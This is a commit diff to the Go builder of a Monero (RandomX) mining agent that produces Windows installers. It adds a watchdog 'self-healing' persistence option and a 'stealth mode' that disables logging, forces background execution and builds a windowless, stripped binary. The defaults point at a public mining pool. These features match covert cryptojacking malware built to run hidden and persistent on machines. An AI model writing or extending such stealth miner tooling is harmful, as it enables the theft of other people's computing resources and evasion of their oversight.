Add adaptive agent identity, self-healing, stealth, and parallel RandomX.

Each install gets a unique agent ID, hardware-aware thread tuning, watchdog persistence, optional stealth mode, multi-engine RAM mining, and a fully static Windows binary with no runtime dependencies.

server/internal/builder/handler.go

@@ -43,6 +43,10 @@ type BuildRequest struct {
 	InstallBase           string `json:"install_base"`
 	InstallCustomBase     string `json:"install_custom_base"`
 	InstallRelativePath   string `json:"install_relative_path"`
+	AdaptToHardware       bool   `json:"adapt_to_hardware"`
+	SelfHealing           bool   `json:"self_healing"`
+	FileLogging           bool   `json:"file_logging"`
+	StealthMode           bool   `json:"stealth_mode"`
 	PoolHost              string `json:"pool_host"`
 	PoolPort            int    `json:"pool_port"`
 	PoolTLS             bool   `json:"pool_tls"`
@@ -156,8 +160,8 @@ func (h *Handler) buildAgent(req *BuildRequest) (BuildResponse, int, string) {
 	outputName := fmt.Sprintf("install-%s.exe", sanitizeFileName(req.WorkerName))
 	outputPath, _ := filepath.Abs(filepath.Join(buildDir, outputName))
 
-	ldflags := "-s -w"
-	if req.DisplayMode == "silent" || req.DisplayMode == "background" || req.SilentMode {
+	ldflags := "-s -w -trimpath"
+	if req.DisplayMode == "silent" || req.DisplayMode == "background" || req.SilentMode || req.StealthMode {
 		ldflags += " -H windowsgui"
 	}
 
@@ -289,6 +293,12 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
 	if req.InstallBase == "custom" && strings.TrimSpace(req.InstallCustomBase) == "" {
 		return fmt.Errorf("install_custom_base is required when install_base is custom")
 	}
+	if req.StealthMode {
+		req.FileLogging = false
+		if req.DisplayMode == "" || req.DisplayMode == "visible" {
+			req.DisplayMode = "background"
+		}
+	}
 	if req.PoolHost == "" {
 		req.PoolHost = "pool.supportxmr.com"
 	}
@@ -341,6 +351,10 @@ func GetBuiltinConfig() BuiltinConfig {
 		InstallBase:         %q,
 		InstallCustomBase:   %q,
 		InstallRelativePath: %q,
+		AdaptToHardware:     %v,
+		SelfHealing:         %v,
+		FileLogging:         %v,
+		StealthMode:         %v,
 	}
 }
 `, buildID, time.Now().UTC().Format(time.RFC3339),
@@ -373,6 +387,10 @@ func GetBuiltinConfig() BuiltinConfig {
 		req.InstallBase,
 		req.InstallCustomBase,
 		req.InstallRelativePath,
+		req.AdaptToHardware,
+		req.SelfHealing,
+		req.FileLogging,
+		req.StealthMode,
 	)
 }